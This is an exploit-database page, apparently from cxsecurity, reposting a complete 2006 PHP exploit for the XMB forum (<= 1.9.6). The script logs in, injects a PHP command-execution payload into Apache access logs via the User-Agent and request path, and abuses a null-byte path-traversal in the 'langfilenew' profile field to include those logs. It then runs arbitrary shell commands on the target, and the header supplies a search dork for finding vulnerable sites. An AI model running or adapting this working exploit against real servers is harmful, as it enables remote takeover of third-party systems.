XMB <= 1.9.6 Final basename()/'langfilenew' arbitrary local inclusion / remote commands execution

2006-08-21 / 2006-08-22
Credit: rgod
Risk: High
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 5.1/10
Impact Subscore: 6.4/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/php -q -d short_open_tag=on <? echo "XMB <= 1.9.6 Final basename() 'langfilenew' arbitrary local inclusion / remote commands xctn\n"; echo "by rgod rgod (at) autistici (dot) org [email concealed]\n"; echo "site: http://retrogod.altervista.org\n"; echo "dork: \"Powered by XMB\"\n\n"; /* works regardless of php.ini settings */ if ($argc<6) { echo "Usage: php ".$argv[0]." host path username password cmd OPTIONS\n"; echo "host: target server (ip/hostname)\n"; echo "path: path to XMB \n"; echo "user/pass: you need a valid user account\n"; echo "cmd: a shell command\n"; echo "Options:\n"; echo " -p[port]: Specify a port other than 80\n"; echo " -P[ip:port]: \" a proxy\n"; echo "Examples:\r\n"; echo "php ".$argv[0]." localhost /xmb/ user pass ls -la\n"; echo "php ".$argv[0]." localhost /xmb/Files/ user pass ls -la\n"; die; } /* software site: http://www.xmbforum.com/ vulnerable code in memcp.php at lines 331-333: ... if ( !file_exists(ROOT.'/lang/'.basename($langfilenew).'.lang.php') ) { $langfilenew = $SETTINGS['langfile']; } ... this check, when you update your profile and select a new language, can be bypassed by supplying a well crafted value for langfilenew argument, ex: ../../../../../../../apache/logs/access.log[null char]/English basename() returns 'English' and English.lang.php is an existing file in lang/ folder, now ../../../../../../../apache/logs/access.log[null char] string is stored in xmb_members table so, every time you are logged in, u can include an arbitrary file from local resources because in header.php we have this line require ROOT."lang/$langfile.lang.php"; and this works regardless of php.ini settings because of the ending null char stored in database this tool injects some code in Apache log files and tries to launch commands */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "\r\n".$html; } $host=$argv[1]; $path=$argv[2]; $user=urlencode($argv[3]); $pass=urlencode($argv[4]); $cmd=""; $port=80; $proxy=""; for ($i=5; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $CODE ='<?php if (get_magic_quotes_gpc()){$_COOKIE[cmd]=stripslashes($_COOKIE[cmd]);}echo my_delim;set_time_limit(0);passthru($_COOKIE[cmd]);echo my_delim;die;?>'; $packet="GET ".$p.$CODE." HTTP/1.1\r\n"; $packet.="User-Agent: ".$CODE."\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: close\r\n\r\n"; sendpacketii($packet); $data ="username=".$user; $data.="&password=".$pass; $data.="&hide=1"; $data.="&secure=yes"; $data.="&loginsubmit=Login"; $packet ="POST ".$p."misc.php?action=login HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n\r\n"; $packet.=$data; sendpacketii($packet); $temp=explode("Set-Cookie: ",$html); $cookie=""; for ($i=1; $i<count($temp); $i++) { $temp2=explode(" ",$temp[$i]); $temp3=explode("\r",$temp2[0]); if (!strstr($temp3[0],";")){$temp3[0]=$temp3[0].";";} $cookie.=" ".$temp3[0]; } if (($cookie=='') | (!strstr($cookie,"xmbuser")) | (!strstr($cookie,"xmbpw"))){echo "Unable to login...";die;} else {echo "cookie ->".$cookie."\r\n";} //fill with possible locations... $paths= array ( "../../../../../var/log/httpd/access_log", "../../../../../var/log/httpd/error_log", "../apache/logs/error.log", "../apache/logs/access.log", "../../apache/logs/error.log", "../../apache/logs/access.log", "../../../apache/logs/error.log", "../../../apache/logs/access.log", "../../../../apache/logs/error.log", "../../../../apache/logs/access.log", "../../../../../apache/logs/error.log", "../../../../../apache/logs/access.log", "../logs/error.log", "../logs/access.log", "../../logs/error.log", "../../logs/access.log", "../../../logs/error.log", "../../../logs/access.log", "../../../../logs/error.log", "../../../../logs/access.log", "../../../../../logs/error.log", "../../../../../logs/access.log", "../../../../../etc/httpd/logs/acces_log", "../../../../../etc/httpd/logs/acces.log", "../../../../../etc/httpd/logs/error_log", "../../../../../etc/httpd/logs/error.log", "../../../../../var/www/logs/access_log", "../../../../../var/www/logs/access.log", "../../../../../usr/local/apache/logs/access_log", "../../../../../usr/local/apache/logs/access.log", "../../../../../var/log/apache/access_log", "../../../../../var/log/apache/access.log", "../../../../../var/log/access_log", "../../../../../var/www/logs/error_log", "../../../../../var/www/logs/error.log", "../../../../../usr/local/apache/logs/error_log", "../../../../../usr/local/apache/logs/error.log", "../../../../../var/log/apache/error_log", "../../../../../var/log/apache/error.log", "../../../../../var/log/access_log", "../../../../../var/log/error_log" ); for ($i=0; $i<count($paths); $i++) { if (strlen($paths[$i])<40) //langfile is varchar(40)... { $xpl=$paths[$i]; echo "trying with: ".$paths[$i]."\r\n"; $xpl=urlencode($xpl); $data.="newpassword="; $data.="&newpasswordcf="; $data.="&newemail=".urlencode("suntzu (at) suntzu (dot) org [email concealed]"); $data.="&newsite="; $data.="&newwebcam="; $data.="&newaim="; $data.="&newicq="; $data.="&newyahoo="; $data.="&newmsn="; $data.="&newmemlocation="; $data.="&newmood="; $data.="&newavatar="; $data.="&newbio="; $data.="&newsig="; $data.="&thememem=0";//default theme $data.="&langfilenew=".$xpl."%00/English"; // basename() circumvention, langfile column: varchar(40) $data.="&month=0"; $data.="&day="; $data.="&year="; $data.="&tppnew=30"; $data.="&pppnew=25"; $data.="&newshowemail=no"; $data.="&newinv=1"; $data.="&newnewsletter=no"; $data.="&useoldu2u=no"; $data.="&saveogu2u=no"; $data.="&emailonu2u=no"; $data.="&timeformatnew=24"; $data.="&dateformatnew=dd-mm-yyyy"; $data.="&timeoffset1=0"; $data.="&editsubmit=Edit%20Profile"; $packet ="POST ".$p."memcp.php?action=profile HTTP/1.0\r\n"; $packet.="Referer: http://".$host.$path."member.php\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n\r\n"; $packet.=$data; sendpacketii($packet); $packet ="GET ".$p."index.php HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cookie: ".$cookie." cmd=".$cmd.";\r\n\r\n"; sendpacketii($packet); if (strstr($html,"my_delim")) { echo "exploit succeeded...\n"; $temp=explode("my_delim",$html); die($temp[1]); } } } //if you are here... echo "exploit failed..."; ?> #original url: http://retrogod.altervista.org/xmb_196_cnd_xpl.html


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top